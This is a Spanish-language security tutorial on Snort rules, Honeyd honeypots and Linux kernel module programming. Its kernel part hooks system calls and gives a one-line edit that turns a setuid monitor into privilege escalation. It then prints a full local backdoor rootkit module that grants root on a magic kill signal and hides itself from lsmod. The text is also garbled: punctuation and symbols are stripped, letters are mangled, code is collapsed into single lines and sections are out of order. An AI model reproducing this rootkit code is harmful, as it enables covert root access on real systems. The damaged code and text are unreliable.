Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Para poder trabajar correctamente y seguir las explicaciones que se dan en el presente documento seraacute necesario tener en consideracioacuten una serie de requisitos previos
Para poder trabajar con un Kernel de Linux necesitamos algo fundamental esto es un Kernel -) concretamente necesitamos los sources de las series 24 y 26 para ir bien Resulta de intereacutes tener dos SO corriendo usaremos Qemu o VMWare
Necesitaremos a ser posible un depurador como GDB o cualquier otro que corra bajo Linux
Compilador GCC en una versioacuten reciente
Tener soporte para Loadable Kernel Moacutedules habilitado en el nuacutecleo actual
Un editor para el coacutedigo fuente y todas aquellas herramientas auxiliares y de sistema requeridas o que supongan una comodidad para el usuario
Nociones elevadas de C y programacioacuten a bajo nivel son altamente recomendables
11- Obtener e instalar el coacutedigo fuente del nuacutecleo
El coacutedigo fuente del nuacutecleo se puede obtener de los CDs de instalacioacuten de nuestra distribucioacuten o bien a traveacutes de Internet en la URL
httpwwwkernelorg
Una vez descomprimido el contenido del ldquotarballrdquo en usrsrc procedemos a crear un enlace simboacutelico en el mismo directorio apuntando a las fuentes del nuacutecleo que vayamos a compilar y que posteriormente tras su compilacioacuten e instalacioacuten seraacute ejecutado al reiniciar la maacutequina
ln ndashs usrsrclinux-$(uname ndashr) linux
Teniendo eso en cuenta
root cd usrsrc
1 Descargamos el coacutedigo fuente del Kernel en usrsrc 2 Descomprimimos el contenido seguacuten convenga tar jxvf linux-2xx 3 Compilamos el nuacutecleo con las opciones adecuadas
cd usrsrclinux make menuconfig make ampamp make modules_install cp archi386bootbzImage bootkernel-2xx
editamos nuestro gestor de arranque como sea necesario (reiniciamos la maacutequina)
Kernel hacks y seguridad JMP
2- Conceptos baacutesicos
Realizados correctamente los pasos del punto anterior ahora podemos echar un vistazo al directorio que contiene las fuentes del nuacutecleo ls usrsrclinux y observar que el coacutedigo sigue una organizacioacuten muy concreta donde por ejemplo fs contiene los sistemas de archivos init es el main() de Linux kernel contiene las principales llamadas al sistema lib diversos moacutedulos y arch el coacutedigo dependiente de la arquitectura son algunos de los directorios que aparecen
Ya se ha comentado que nociones elevadas sobre el lenguaje son muy recomendables especialmente lo referente a punteros y punteros a funciones Por ese motivo y a continuacioacuten se presenta el primer listado que pretende refrescar estos puntos
1 includeltstdiohgt 2 define A 34 3 define B 40 4 puntero a una func 5 int (ptr_f) (int int) 6 func sumar dos enteros 7 int 8 f_test (int a int b) 9 return (a + b) 10 11 int 12 main (void) 13 14 int suma = 0 15 int suma_ptr = NULL 16 printf (f_test() reside en0xxn f_test) 17 printf (ptr_f apunta a0xxn ptr_f) 18 apuntamos a f_test(intint) 19 ptr_f = f_test 20 printf (ptr_f apunta a f_test()) 21 printf (ptr_f() se ejecutan) 22 call ptr_f -gt f_test 23 suma = (ptr_f) (A B) 24 suma_ptr -gt suma 25 suma_ptr = ampsuma 26 printf (la variable suma se encuentra en (0xx)n ampsuma) 27 contenido de suma_ptr 28 printf (contiene el valordn suma_ptr) 29 return 0 30
El coacutedigo es bastante simple dados dos nuacutemeros los suma mostrando cierta informacioacuten al respecto Las partes interesantes ahiacute son las liacuteneas 5 19 25 y 23 $gcc listadoc -o listado $listado
f_test() reside en0x80483cc ptr_f apunta a0x0 ptr_f apunta a f_test()ptr_f() se ejecuta la variable suma se encuentra en (0xbfde8170) contiene el valor74
Kernel hacks y seguridad JMP
Kerneland y Userland
Como es de imaginar el nuacutecleo del sistema operativo se encuentra en un modo privilegiado para operar con la maacutequina y sus dispositivos mientras que los usuarios trabajamos con direcciones de memoria virtuales y hacemos las peticiones al nuacutecleo para que realice por nosotros aquellas cosas que no se nos estaacute permitido hacer de forma directa a la zona de memoria del nuacutecleo se le llama simplemente espacio del kernel y a la del usuario espacio de usuario o userland
Si estando en el espacio del kernel cometemos alguacuten fallo o saltamos a una direccioacuten de memoria equivocada es maacutes que probable que el sistema se inestabilice o que surjan comportamientos no previstos que terminaran en un genuino kernel panic y un festival de volcados de memoria que obligaraacuten a reiniciar la maacutequina en el peor de los casos no tendraacutes los discos sincronizados y la maacutequina se reiniciaraacute de inmediato por lo que se recomienda hacerlo (comando sync desde la consola) con el fin de no perder aquellos datos no volcados auacuten al disco y demaacutes
Ni que decir tiene que la manera de trabajar en el espacio del kernel es algo distinta a como lo hariacuteamos en nuestros programas habituales dentro del espacio de usuario pero de todas formas eso lo veremos en breve en el presente trabajo
Archivos de cabecera
Aquellos archivos de cabecera usados por el preprocesador de C se situacutean en el directorio usrinclude y definiraacuten la interfaz de aquellos programas que son compilados aquiacute entrariacutea por ejemplo ldquoltstdiohgtrdquo
Estos archivos de cabecera (o headers en ingleacutes) se enlazan con la biblioteca de C que es distribuida de forma independiente al nuacutecleo por otro lado el Kernel tambieacuten dispone de archivos de cabecera que se usan para su compilacioacuten y que se encuentran en usrsrclinuxinclude aquiacute tenemos el directorio linux que contiene declaraciones que no dependen de la arquitectura y asm para las que siacute dependen de la arquitectura
Llamadas al sistema
En primer lugar iquestqueacute es una llamada al sistema Como he comentado hace un momento en el espacio de usuario un proceso tiene pocos privilegios y necesita del nuacutecleo para trabajar con la maacutequina con total libertad De eacutesta manera podemos definir una llamada al sistema como la peticioacuten transmitida por un proceso al nuacutecleo que trata esta peticioacuten con todos los privilegios devuelve un resultado al proceso y lo hace seguir de forma normal
Para pasar a modo privilegiado (en Linux) el proceso ejecuta una instruccioacuten concreta (Int 0x80) que le hace pasar al modo nuacutecleo y asiacute atender su propia llamada al sistema mediante cierta rutina del nuacutecleo por supuesto suponemos que dicha rutina es totalmente fiable para ejecutarse en modo privilegiado contrastando con la no confiabilidad en el proceso situado en espacio de usuario
Kernel hacks y seguridad JMP
3- Loadable Kernel Modules
Existen varios componentes en el nuacutecleo de Linux que no es necesario tener siempre cargados en memoria por varios motivos por ejemplo si ninguacuten usuario necesita trabajar con particiones NTFS podemos no cargar el moacutedulo que nos permite trabajar con el sistema de ficheros NTFS sin embargo cualquier cosa que modifiquemos del nuacutecleo como antildeadir o eliminar alguacuten gestor de dispositivo implicariacutean tener que recompilar el nuacutecleo si no disponemos de una manera de extenderlo en caliente
Afortunadamente siacute disponemos de los moacutedulos cargables del kernel o Loadable Kernel Modules (LKM a partir de ahora) que nos permiten dotar de modularidad al nuacutecleo Estos LKMs se integraraacuten dinaacutemicamente en el Kernel si los necesitamos o tambieacuten cuando insertamos un moacutedulo a mano soacutelo un usuario privilegiado puede eliminar o insertar un LKM aparte del propio nuacutecleo claro estaacute
Para cargar y descargar moacutedulos tenemos a nuestra entera disposicioacuten (como root) dos comandos que son insmod lmko para insertar y rmmod lkm para descargar un moacutedulo estos programas pueden diferir seguacuten el tipo de Kernel que tengas para cada caso necesitaraacutes instalar los adecuados En el caso de la serie 26 los moacutedulos se insertan mediante insmod lmkko en lugar de o en cualquier momento puede verse que moacutedulos hay cargados mediante lsmod
Pero la verdad es que todo eso asiacute sin maacutes no tiene demasiado sentido lo mejor seraacute dar paso al siguiente listado que ireacute explicando paso a paso y que es vaacutelido para los nuacutecleos de la serie 22 y 24 tambieacuten lo es - de hecho - para la serie 26 pero existen ciertas particularidades a tener en cuenta asiacute que lo tratareacute maacutes adelante por separado
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltlinuxmodulehgt 6 MODULE_PARM(parm_entero i) 7 int parm_entero 8 9 int init_module() 10 printk(LKM cargadon) 11 printk(parm_entero valein parm_entero) 12 return 0 13 14 15 void cleanup_module() 16 printk(LKM descargadon) 17 18 MODULE_LICENSE(GPL) 19 MODULE_AUTHOR(Jose Miguel Porcel G)
Kernel hacks y seguridad JMP
31- Compilacioacuten de LKMs para la serie 24x
Tenemos un moacutedulo que compilar para ello usaremos gcc pero no de la misma forma con la que compilariacuteas un programa normal en C Para compilar el ejemplo anterior deberaacutes usar algo como lo siguiente asumiendo que usrsrclinux apunta al directorio con las fuentes del kernel
root gcc -c listado2c -I usrsrclinuxinclude
lo que nos genera un fichero listado2o (fichero objeto) listo para ser insertado
root insmod listado2o parm_entero=5
podriamos obtener informacioacuten sobre el moacutedulo mediante modinfo ltmoduloogt
Es posible que al intentar insertar el moacutedulo te haya dicho algo asiacute como que no encuentra la versioacuten del Kernel o que la versioacuten del Kernel para la que fue compilado el LKM no coinciden se puede solucionar esto editando usrsrclinuxincludelinuxversionh y adaptarlo para que sea la misma versioacuten que la indicada por uname -r es una medida para salir del paso pero funcionaraacute
Explicacioacuten
En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso
Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel
Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog
Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages
Kernel hacks y seguridad JMP
4- Sys_call_table[] en kernels 22 y 24
Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo
extern void sys_call_table[]
Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)
Listado 3
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)
Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento
El funcionmiento se explica a continuacioacuten
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
